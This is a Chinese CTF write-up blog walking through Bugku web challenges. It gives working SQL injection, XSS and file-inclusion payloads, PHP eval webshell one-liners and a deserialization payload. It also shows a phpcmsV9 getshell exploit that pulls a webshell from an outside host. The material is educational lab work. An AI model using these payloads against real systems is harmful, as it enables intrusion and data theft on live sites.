bugku Web write up

web2

view-source:查看源码即可

文件上传测试

上传一个PHP文件发现他要的是图片文件,抓包先改一下content-type为image/jpeg,Go一下发现flag
Cg6E01.png

计算器

F12调出开发者工具,把maxlength改为更长的长度即可

web基础$_GET

完全就是考php基础,直接URL加上index.php?what=flag即可

web基础$_POST

用Hackbar post数据即可

矛盾

利用了==的弱类型,然后令num=1e,get上去即可绕过

web3

停止之后,查看源码,最后发现了Html的编码,直接python跑一下即可

sql注入

查看源码发现是宽字节的注入
Cg6mtK.png
从报错可以猜测语句是select * from ** where id=’input’
注意key的双引号
payload:?id=-1%df'union select string,2 from `key` where id=1 --+

SQL注入1

代码里面是数字型的注入
查看代码里面的strip_tags函数是返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果,可以利用这个特性去过滤
Cg6Q6H.png
payload:

1
?id=-1 uni<>on sel<>ect 1,hash fr<>om `key` where id=1--+

你必须让他停下

抓包go几下即可。。。
Cg63nA.png

本地包含

读一下代码eval函数是执行代码的,而var_dump函数是把所有变量的属性给显示出来的,flag在flag.php里面那么我们就构造file函数传参给hello
payload:http://120.24.86.145:8003/?hello=file(%27flag.php%27)
这题还有其他方法
比如:
http://120.24.86.145:8003/?hello=$GLOBALS 利用了全局变量
http://120.24.86.145:8003/?hello=);show_source(%27flag.php%27);// 利用了eval执行函数去闭合var_dump函数

变量1

这里有个正则表达式,没啥影响,发现出现了$$的变量,直接用全局变量$GLOBALS即可,payload:?args=GLOBALS,进而构造出var_dump($GLOBALS)
Cg680I.png

web4

查看源码发现有url编码,解码后观察代码,发现password为67d709b2b54aa2aa648cf6e87a7114f1,提交之后得到key

web5

查看源码发现里面有JSfuck,解码一下,得到flag,记的提交的时候全大写。。。。

flag在index里

进去之后点击,发现url上面有file参数,就想到了php里面的file协议,用base64转码把index.php里面的内容读出来,再解码,得到flag

输入密码查看flag

5位数,用python写个字典

1
2
3
4
5
6
7
8
f=open('5位数.txt','w')

for i in range(10000,100000):
print i
f.write(str(i))
f.write('\n')

f.close()

直接用bp暴力破解,密码是13579
Cg6d1g.png

点击一万次

右击审查元素,发现只要clicks参数大于1000000才会出现flag,在控制台里面输入clicks>1000000的数字即可,记得最后还要点一下才出现flag
Cg6s7q.png

前女友

查看网页源代码发现里面有一个code.txt打开一看原来是代码审计问题
利用了==弱类型以及strcmp()函数,它无法处理处理数组
这里有两个MD5后可以弱类型截断的

1
2
3
4
5
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

关键payload:

1
?v1=QNKCDZO&v2=s878926199a&v3[]=1

成绩查询

一个简单的SQL注入题没有过滤,输入单引号不回显,再加一个注释回显,便猜测SQL语句应该是

1
select * from **** where id='';

用hackbar去post数据
先二分法看有几列 id=1’ order by 4##
验证四列到底怎么显示 id=-1' union select 1,2,3,4 ## 这里id=-1,是为了让前面的语句为空,让后面的语句回显
爆库 id=-1' union select 1,2,3,database() ## 就一个数据库
爆表 id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'## 两个表分别是 fl4g,sc
肯定是fl4g表,接下来爆字段 id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g' ##
爆内容 id=-1' union select 1,2,3,skctf_flag from `fl4g` ##

各种绕过

还是利用了sha1不能处理数组的特性。。。。。。
下面是payload
Cg6fc4.png

细心

目录下发现robots.txt,里面有一个目录
Cg6oH1.png
于是就到另外一个目录看一下,发现下面有行字,
Cg6b4K.png
又想到提示里面的管理员,猜测密码可能是admin或者是administrator,尝试第一个的时候就对了
Cg6L9O.png

XSS

先来最简单的弹窗

1
?id=<srcipt>altert(/xss/)</script>

查看源码
Cg6zDA.png
发现<>被过滤掉了
这里学到一个技巧,就是用Unicode编码绕过
payload:?id=\u003cimg src=1 onerror=alert(_key_)\u003e

速度要快

这种题就是编程题
上脚本,注意这题是用margin。。。。查看源码可知
CgcSHI.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
##coding:utf-8
import requests
import base64

url ='http://120.24.86.145:8002/web6/'

r =requests.session()

headers = r.get(url).headers
##flag = head['Flag'].split(':')[0] 注意response的键
##print flag

flag = base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])
data={'margin':flag}
print r.post(url=url,data=data).content ##.text

字符?正则?

进去一看是条代码审计题目
Cgc9Et.png
这里加上别人跟自己对于正则的常规总结

1.表达式直接写出来的字符串直接利用,如key
2.“.”代表任意字符
3.“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次,这里可以是0次,还有就是以'^'开头,以'$'结束
4.“\/”代表“/”,一种转义,因为单独的//代表着正则的开始与结束
5.[a-z]代表a-z中的任意一个字符
6.[[:punct:]]代表任意一个字符,包括各种符号,记得是符号
7./i代表大小写不敏感
8.{4-7}代表[0-9]中数字连续出现的次数是4-7次
9.\s匹配任意的空白符
10.\d    匹配数字
11.\b    匹配单词的开始或结束

自己的payload:?id=keyakey1111key:/a/akeya@

Web8

这个题目又学到了新知识
利用了file_get_contents的特性,当用到php://input的时候,file_get_contents支持字节流输入,只要构造php://input,且post数据过去即可
payload:?ac=1&php://input然后再post一个 1即可

求getshell

这一道题目又学到新知识。。。。
用PHP别名来绕过。。。php2, php3, php4, php5, phps, pht, phtm, phtml
然后参考了大佬们的wp
发现这一题还要把Content-Type: multipart/form-data; 改成大小写绕过的形式,改为Content-Type: Multipart/form-data;
然后用别名去尝试php5的时候出现flag
CgcCUP.png

never give up

查看源码,发现有一个1p.html
打开一看里面有js代码,直接放到控制台里面看一下
发现跳转到论坛,然后不知道要干嘛。。。。。
还是先转义一下那段东西吧,先urldecode,再发现里面有base64,然后再一次urldecode发现一段代码
Cgfi6O.png
CgfFXD.png
发现有一个txt文件,不管那么多,先访问一下
得到flag

过狗一句话

这个一句话是get方式发送数据
先了解一些函数
phpinfo()函数查看信息
看看根目录下有哪些文件

1
2
print_r(scandir("./"))
print_r(glob("*"))

发现有一个flag.txt,直接访问即可,也可以用下面的函数打印出来
一些常用的输出文件内容

1
2
print_r(file('flag.txt')),这里的print_r换成var_dump也行
show_source("flag.txt")

CgfE0H.png

Web进阶

phpcmsV9

这是我第一次尝试这样的漏洞。。。。。
先百度一下,发现phpcmsV9存在前台注册页面存在getshell漏洞,
Cgf6E9.png
先用bp抓包,
Cgf0jU.png
在最下面的post数据里面加上&info[content]=<img src=http://www.bugku.com/tools/phpyijuhua.txt?.php##.jpg>

这里面的链接是Bugku论坛里面的现成的小马,当然你也可以自己写一个。。。。。。
CgfwcT.png
然后复制go之后返回数据包里面的链接,也就是右边的箭头,用菜刀链接。。。说起这个菜刀这工具,这是我第一次真正用它实操,以前我都是看视频看别人用的。。。 ̄□ ̄||
Cgfd3V.png

连接之后在根目录下找到flag的图片,放进HXD里面就能找到flag了。。。。

啊,还有一种方法是直接用bugku论坛里面的getshell工具,自动出来shell地址,然后菜刀链接那个地址即可
Cgfa90.png

说起来我还是喜欢上面的方法,复现一下也蛮好的。。。。。。。。

flag.php

因为题目提示hint,于是就输入?hint
CgfYAs.png
原来是代码审计题目
考了一个反序列化的知识点
构造payload,但是注意代码中if-else的范围,倒数第二行中确实为变量KEY赋值了,但是它是在另一个else里
在进行严格比较前,变量KEY的值并没有被赋值
所以KEY为空值
然后在bp上构建payload
CgfG7j.png

备份是个好习惯

打开一看一串东西,题目不是说是备份是个好东西吗。。备份的话就会想到源码泄露之类的东西,这里介绍一个好用的东西
SourceLeakHacker
上去一扫,发现文件
CgfljS.png
Cgf8BQ.png
两种payload:
第一种是利用MD5函数返回false的,第二种是弱类型,MD5之后是0e开头的

1
2
?kkeyey1[]=1&kkeyey2[]=2
?kkeyey1=QNKCDZO&kkeyey2=s878926199a

秋名山老司机

脚本题。。。。这是某位大佬的代码

1
2
3
4
5
6
7
8
9
10
11
import re
import requests

s = requests.Session()
r = s.get("http://120.24.86.145:8002/qiumingshan/")
searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)
d = {
"value": eval(searchObj.group(1))
}
r = s.post("http://120.24.86.145:8002/qiumingshan/", data=d)
print(r.text)

孙xx的博客

找来找去页面就发现这种东西
CgfK9P.png
然后扫描以下网站
发现以下几个网站
CgfM1f.png
其中最有利用价值的是phpmyadmin,用刚才的那个wp那个东西登录即可。。
CgfQc8.png

sql注入2

这题真是太坑。。。。哪有什么注入。。。
我是看到别人wp说直接扫目录即可。。。
找到一个叫flag的东西下载下来,真的气死

这是一个神奇的登录界面

简单的post注入,什么过滤都没有。。。
先尝试” 报错,然后构造语句

1
2
3
4
admin_name=-1" union select order by 2##&admin_passwd=&submit=GO GO GO
admin_name=-1" union select 1,2##&admin_passwd=&submit=GO GO GO 确定回显
admin_name=-1" union select database(),2##&admin_passwd=&submit=GO GO GO
admin_name=-1" union select group_concat(table_name),2 from information_schema.tables where table_schema=daTABASE()##&admin_passwd=&submit=GO GO GO

CgWq6U.png

1
admin_name=-1" union select group_concat(column_name),2 from information_schema.columns where table_name='flag1'##&admin_passwd=&submit=GO GO GO

CgWLXF.png

1
admin_name=-1" union select flag1,2 from `flag1`##&admin_passwd=&submit=GO GO GO

CgcAgg.png

文件包含二

两种绕过方法

1
2
<?=@eval($_POST['cmd']);
<script language="php">eval($_POST['cmd']);</script>

然后就是upload.php中是不能以php运行的

SQL约束攻击

参考下面这一篇文章
http://www.freebuf.com/articles/web/124537.html
既可以很快构造payload了
随便一个用户名加上一个超过它数据库规定的长度即可

welcome to bugku

抓包发现源码

1
2
3
4
5
6
7
8
9
10
11
12
<!--  
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

出现file_get_contents,绕过第一层,然后用伪协议读取文件
CgcFC8.png
得到base64编码然后解码得到下面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<?php

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

感觉还是少了点东西,再用同样的方法查看index.php
这一下就感觉比较全了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php  
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}

这里看到unserialize就知道想要考察反序列化漏洞
从hint.php知道这个类,我们就可以构造一个类然后在echo函数调用后去调用__tostring()函数,然后读取文件
这里是我构造的类

1
2
3
4
5
6
7
class Flag{//flag.php  
public $file;
}

$a= new Flag();
$a->file = 'flag.php';
print _r(serialize($a));

最后另password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";},发包得到flag
Cg6ttf.png

有时候不一定构造类,普通的数组也行,最近在实验吧做题遇到了一题直接用数组反序列化的题目。。。还是要看清楚题目要没有给你类之类的

还没做完有待更新


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. web2
  2. 2. 文件上传测试
  3. 3. 计算器
  4. 4. web基础$_GET
  5. 5. web基础$_POST
  6. 6. 矛盾
  7. 7. web3
  8. 8. sql注入
  9. 9. SQL注入1
  10. 10. 你必须让他停下
  11. 11. 本地包含
  12. 12. 变量1
  13. 13. web4
  14. 14. web5
  15. 15. flag在index里
  16. 16. 输入密码查看flag
  17. 17. 点击一万次
  18. 18. 前女友
  19. 19. 成绩查询
  20. 20. 各种绕过
  21. 21. 细心
  22. 22. XSS
  23. 23. 速度要快
  24. 24. 字符?正则?
  25. 25. Web8
  26. 26. 求getshell
  27. 27. never give up
  28. 28. 过狗一句话
  29. 29. Web进阶
  30. 30. phpcmsV9
  31. 31. flag.php
  32. 32. 备份是个好习惯
  33. 33. 秋名山老司机
  34. 34. 孙xx的博客
  35. 35. sql注入2
  36. 36. 这是一个神奇的登录界面
  37. 37. 文件包含二
  38. 38. SQL约束攻击
  39. 39. welcome to bugku
  40. 40. 还没做完有待更新